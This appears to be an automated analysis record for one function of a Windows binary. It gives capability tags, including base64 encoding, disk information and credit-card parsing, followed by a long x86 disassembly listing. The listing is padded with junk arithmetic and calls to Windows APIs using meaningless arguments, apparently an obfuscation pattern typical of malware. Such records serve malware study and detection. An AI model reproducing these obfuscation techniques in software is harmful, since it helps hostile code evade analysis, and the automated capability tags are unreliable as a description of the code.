Function at 0x404150
Capabilities:
Encode data using base64
Get disk information
Parse credit card information

Disassembly:
sub esp, 0x40c
push esi
mov dword [esp + 8], 0xa7
mov eax, dword [esp + 8]
mov ecx, dword [esp + 8]
sub eax, ecx
or eax, 0x2f3
mov dword [esp + 0xc], eax
mov dl, byte [esp + 0xc]
mov al, byte [esp + 0xc]
and edx, eax
and edx, 0xa9
mov dword [esp + 8], edx
mov eax, dword [esp + 8]
and eax, 0xffff
xor edx, edx
mov ecx, 0x76
div ecx
mov al, byte [esp + 0xc]
add edx, eax
mov cl, byte [esp + 0xc]
mov al, byte [esp + 0xc]
sub ecx, eax
or edx, ecx
mov byte [esp + 7], dl
mov al, byte [esp + 7]
mov esi, dword [sym.imp.KERNEL32.dll_SearchPathA]
cmp al, 0x1e
jne 0x4041d5
push 0x442038
lea ecx, [esp + 0x14]
push str.PA_s
push ecx
call fcn.0041a44e
add esp, 0xc
jmp 0x404241
mov al, byte [esp + 7]
cmp al, 0x13
ja 0x404241
mov edx, dword [esp + 8]
and edx, 0xffff
xor edx, 0x2ea
push edx
mov eax, dword [esp + 0xc]
and eax, 0xffff
xor eax, 0x2ea
push eax
mov ecx, dword [esp + 0x10]
and ecx, 0xffff
xor ecx, 0x2ea
push ecx
mov edx, dword [esp + 0x14]
and edx, 0xffff
xor edx, 0x2ea
push edx
mov eax, dword [esp + 0x18]
and eax, 0xffff
xor eax, 0x2ea
push eax
mov ecx, dword [esp + 0x1c]
and ecx, 0xffff
xor ecx, 0x2ea
push ecx
call esi
cmp word [esp + 0xc], 0x20
jne 0x404275
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 8]
imul eax, edx
lea eax, [eax + eax*4]
shl eax, 6
mov ecx, dword [esp + 0xc]
sub ecx, eax
mov dl, byte [esp + 7]
and edx, 0xff
or ecx, edx
mov dword [esp + 8], ecx
jmp 0x4044a4
cmp word [esp + 0xc], 0x61
jne 0x4042bd
mov eax, dword [esp + 8]
and eax, 0xffff
mov ecx, dword [esp + 8]
and ecx, 0xffff
xor edx, edx
div ecx
and edx, 0x44
mov al, byte [esp + 7]
and eax, 0xff
mov cl, byte [esp + 7]
and ecx, 0xff
and eax, ecx
or edx, eax
or edx, 0x223
mov dword [esp + 8], edx
jmp 0x4044a4
cmp word [esp + 0xc], 0x2f3
jne 0x4043f6
mov al, byte [esp + 7]
cmp al, 0x1e
jne 0x4044a4
mov al, byte [esp + 7]
cmp al, 0x45
jne 0x4042fa
mov ecx, dword [esp + 8]
and ecx, 0xffff
mov eax, 0x2dc
xor edx, edx
div ecx
mov dword [esp + 8], edx
jmp 0x4044a4
mov al, byte [esp + 7]
cmp al, 0x42
jne 0x404338
mov ecx, dword [esp + 8]
and ecx, 0xffff
mov eax, 0x48805221
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
mov edx, 0x15
shr ecx, 8
sub edx, ecx
mov eax, dword [esp + 0xc]
sub edx, eax
mov ecx, dword [esp + 8]
xor edx, ecx
mov dword [esp + 8], edx
jmp 0x4044a4
mov al, byte [esp + 7]
cmp al, 0x1e
jne 0x40435a
lea edx, [esp + 0x10]
push edx
call 0x41a3d1
add esp, 4
test eax, eax
jne 0x4044a4
jmp 0x41a3ba
mov al, byte [esp + 7]
cmp al, 0x10
mov al, byte [esp + 7]
jae 0x40438b
and eax, 0xff
mov ecx, dword [esp + 8]
sub eax, ecx
and eax, 0x122
mov edx, dword [esp + 8]
sub edx, 0x309
or eax, edx
mov dword [esp + 0xc], eax
jmp 0x4044a4
cmp al, 0x55
jne 0x4043a3
mov eax, dword [esp + 0xc]
mov ecx, 0x18
sub ecx, eax
mov dword [esp + 0xc], ecx
jmp 0x4044a4
mov al, byte [esp + 7]
cmp al, 0x13
jne 0x4044a4
mov edx, dword [esp + 8]
and edx, 0xffff
push edx
mov eax, dword [esp + 0xc]
and eax, 0xffff
push eax
mov ecx, dword [esp + 0x10]
and ecx, 0xffff
push ecx
mov edx, dword [esp + 0x14]
and edx, 0xffff
push edx
mov eax, dword [esp + 0x18]
and eax, 0xffff
push eax
mov ecx, dword [esp + 0x1c]
and ecx, 0xffff
push ecx
call esi
jmp 0x4044a4
cmp word [esp + 0xc], 0x4c
jae 0x404411
mov dl, byte [esp + 0xc]
or edx, 0x36b
mov byte [esp + 7], dl
jmp 0x4044a4
cmp word [esp + 0xc], 0x4e
jne 0x40442c
mov eax, dword [esp + 8]
and eax, 0xffff
pop esi
add esp, 0x40c
ret 0x10
cmp word [esp + 0xc], 0x30
jae 0x4044a4
mov al, byte [esp + 7]
and eax, 0xff
mov ecx, dword [esp + 8]
and ecx, 0xffff
xor eax, ecx
mov edx, dword [esp + 8]
and edx, 0xffff
mov ecx, 0x359
sub ecx, edx
or eax, ecx
mov dl, byte [esp + 7]
and edx, 0xff
or eax, edx
push eax
mov al, byte [esp + 0xb]
and eax, 0xff
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
xor eax, ecx
mov edx, dword [esp + 0xc]
and edx, 0xffff
mov ecx, 0x359
sub ecx, edx
or eax, ecx
mov dl, byte [esp + 0xb]
and edx, 0xff
or eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_Beep]
mov al, byte [esp + 7]
cmp al, 0x3f
jne 0x4044e8
mov eax, dword [esp + 0xc]
and eax, 0xffff
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [esp + 0xc]
and eax, 0xffff
xor edx, edx
mov esi, 0x300
div esi
sub ecx, edx
and ecx, 0x2dd
mov dword [esp + 0xc], ecx
jmp 0x4046ef
mov al, byte [esp + 7]
cmp al, 0x1e
jne 0x4045c3
cmp word [esp + 8], 0x1c
jae 0x404512
mov dl, byte [esp + 7]
mov al, byte [esp + 7]
and edx, eax
and edx, 4
mov dword [esp + 8], edx
jmp 0x4046ef
cmp word [esp + 8], 0x1d
jb 0x4047b8
cmp word [esp + 8], 0xa1
jne 0x404535
call fcn.00405300
mov byte [esp + 7], al
jmp 0x4046ef
cmp word [esp + 8], 0x60
ja 0x404564
mov al, byte [esp + 7]
mov ecx, eax
shl ecx, 5
sub ecx, eax
lea edx, [eax + ecx*8]
lea eax, [eax + edx*2]
shl eax, 1
mov cl, byte [esp + 0xc]
xor eax, ecx
or eax, 0x29f
mov byte [esp + 7], al
jmp 0x4046ef
cmp word [esp + 8], 0x19
jbe 0x4047b8
cmp word [esp + 8], 0x54
jae 0x4046ef
mov cl, byte [esp + 7]
and ecx, 0xff
mov eax, 0x1831304
xor edx, edx
div ecx
push eax
mov cl, byte [esp + 0xb]
and ecx, 0xff
mov eax, 0x1831304
xor edx, edx
div ecx
push eax
mov cl, byte [esp + 0xf]
and ecx, 0xff
mov eax, 0x1831304
xor edx, edx
div ecx
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
jmp 0x4046ef
mov al, byte [esp + 7]
cmp al, 0x4d
jbe 0x4045ef
mov dl, byte [esp + 7]
and edx, 0xff
mov eax, dword [esp + 8]
lea ecx, [edx + eax - 0x149]
and ecx, 0x3e2
mov dword [esp + 8], ecx
jmp 0x4046ef
mov al, byte [esp + 7]
cmp al, 0x22
mov al, byte [esp + 7]
jbe 0x404695
and eax, 0xff
mov ecx, 0x305
mov edx, eax
shl edx, 5
add edx, eax
lea eax, [eax + edx*2]
xor edx, edx
lea eax, [eax + eax*4]
shl eax, 1
div ecx
mov cl, byte [esp + 7]
mov eax, edx
and ecx, 0xff
xor edx, edx
div ecx
or eax, 0x143
mov edx, dword [esp + 8]
and edx, 0xffff
or edx, 0x143
and eax, edx
push eax
mov al, byte [esp + 0xb]
and eax, 0xff
xor edx, edx
mov ecx, eax
shl ecx, 5
add ecx, eax
lea eax, [eax + ecx*2]
mov ecx, 0x305
lea eax, [eax + eax*4]
shl eax, 1
div ecx
mov cl, byte [esp + 0xb]
mov eax, edx
and ecx, 0xff
xor edx, edx
div ecx
or eax, 0x143
mov edx, dword [esp + 0xc]
and edx, 0xffff
or edx, 0x143
and eax, edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
jmp 0x4046ef
cmp al, 0xc
jae 0x4046c7
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
mov eax, 0x3c9
xor edx, edx
div ecx
mov eax, dword [esp + 8]
xor edx, eax
mov cl, byte [esp + 7]
and ecx, 0x3c
or edx, ecx
mov eax, dword [esp + 0xc]
or edx, eax
mov dword [esp + 8], edx
jmp 0x4046ef
mov al, byte [esp + 7]
cmp al, 0x3c
jbe 0x4046ef
mov cl, byte [esp + 0xc]
mov dl, byte [esp + 8]
sub ecx, edx
mov al, byte [esp + 8]
sub ecx, eax
sub ecx, 0x25d
mov dl, byte [esp + 8]
or ecx, edx
mov byte [esp + 7], cl
mov ecx, dword [esp + 8]
and ecx, 0xffff
mov eax, 0x186
xor edx, edx
div ecx
mov eax, 0x2a
sub eax, edx
mov byte [esp + 7], al
mov eax, dword [esp + 0xc]
and eax, 0xffff
xor edx, edx
mov ecx, 0x3c1
div ecx
mov eax, dword [esp + 8]
xor edx, eax
xor edx, 0x4d
mov dword [esp + 0xc], edx
mov cl, byte [esp + 7]
and ecx, 0x102
mov byte [esp + 7], cl
mov eax, 0x21f
cmp word [esp + 0xc], ax
jne 0x404775
cmp word [esp + 0xc], 0x3e
jae 0x4047cb
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
mov eax, 0x10a
xor edx, edx
div ecx
mov al, byte [esp + 7]
and eax, 0xff
lea ecx, [edx + eax - 0x2ba]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
lea edx, [ecx + ecx*8]
lea eax, [ecx + edx*2]
xor edx, edx
shl eax, 3
sub eax, ecx
mov ecx, 0x6e
shl eax, 2
div ecx
mov ecx, dword [esp + 8]
mov eax, edx
and ecx, 0xffff
xor edx, edx
div ecx
mov edx, dword [esp + 8]
add eax, edx
mov edx, dword [esp + 8]
lea eax, [eax + edx + 0x4a]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
and eax, 0xffff
pop esi
add esp, 0x40c
ret 0x10
cmp word [esp + 0xc], 0x47
jae 0x4047ea
mov dl, byte [esp + 0xc]
push edx
mov eax, dword [esp + 0x10]
and eax, 0xffff
push eax
call dword [sym.imp.KERNEL32.dll_TransmitCommChar]
jmp 0x404775
cmp word [esp + 0xc], ax
jne 0x404807
mov ecx, dword [esp + 8]
push ecx
call fcn.00402b00
add esp, 4
mov byte [esp + 7], al
jmp 0x404775
cmp word [esp + 0xc], 0x31
jne 0x404775
mov ecx, dword [esp + 8]
and ecx, 0xffff
mov eax, 0x3d5d991b
mul ecx
mov eax, ecx
mov ecx, 0x351
sub eax, edx
shr eax, 1
add eax, edx
xor edx, edx
shr eax, 9
div ecx
mov ecx, dword [esp + 8]
mov eax, edx
and ecx, 0xffff
xor edx, edx
div ecx
mov ecx, edx
mov edx, dword [esp + 8]
and edx, 0xffff
mov eax, 0x21195767
mul edx
shr edx, 7
sub edx, ecx
mov al, byte [esp + 7]
and eax, 0xff
sub edx, eax
push edx
mov ecx, dword [esp + 0xc]
and ecx, 0xffff
mov eax, 0x3d5d991b
mul ecx
mov eax, ecx
mov ecx, 0x351
sub eax, edx
shr eax, 1
add eax, edx
xor edx, edx
shr eax, 9
div ecx
mov ecx, dword [esp + 0xc]
mov eax, edx
and ecx, 0xffff
xor edx, edx
div ecx
mov ecx, edx
mov edx, dword [esp + 0xc]
and edx, 0xffff
mov eax, 0x21195767
mul edx
shr edx, 7
sub edx, ecx
mov al, byte [esp + 0xb]
and eax, 0xff
sub edx, eax
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x404775
push 0xa
call fcn.0041a88c
push 0x16
call fcn.0041a6e1
pop ecx
pop ecx
push 3
call fcn.0041a61d
cmp dword [0x443e04], 0
push ebx
push esi
mov esi, dword [0x4428fc]
push edi
je 0x41a448
test esi, esi
jne 0x41a402
cmp dword [0x442904], esi
je 0x41a448
call fcn.0041aa9b
test eax, eax
jne 0x41a448
mov esi, dword [0x4428fc]
test esi, esi
je 0x41a448
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x41a448
push ebx
call fcn.0041aa20
pop ecx
mov edi, eax
mov eax, dword [esi]
test eax, eax
je 0x41a448
push eax
call fcn.0041aa20
cmp eax, edi
pop ecx
jbe 0x41a43b
mov eax, dword [esi]
cmp byte [eax + edi], 0x3d
jne 0x41a43b
push edi
push ebx
push eax
call fcn.0041a9df
add esp, 0xc
test eax, eax
je 0x41a440
add esi, 4
jmp 0x41a413
mov eax, dword [esi]
lea eax, [eax + edi + 1]
jmp 0x41a44a
xor eax, eax
pop edi
pop esi
pop ebx
ret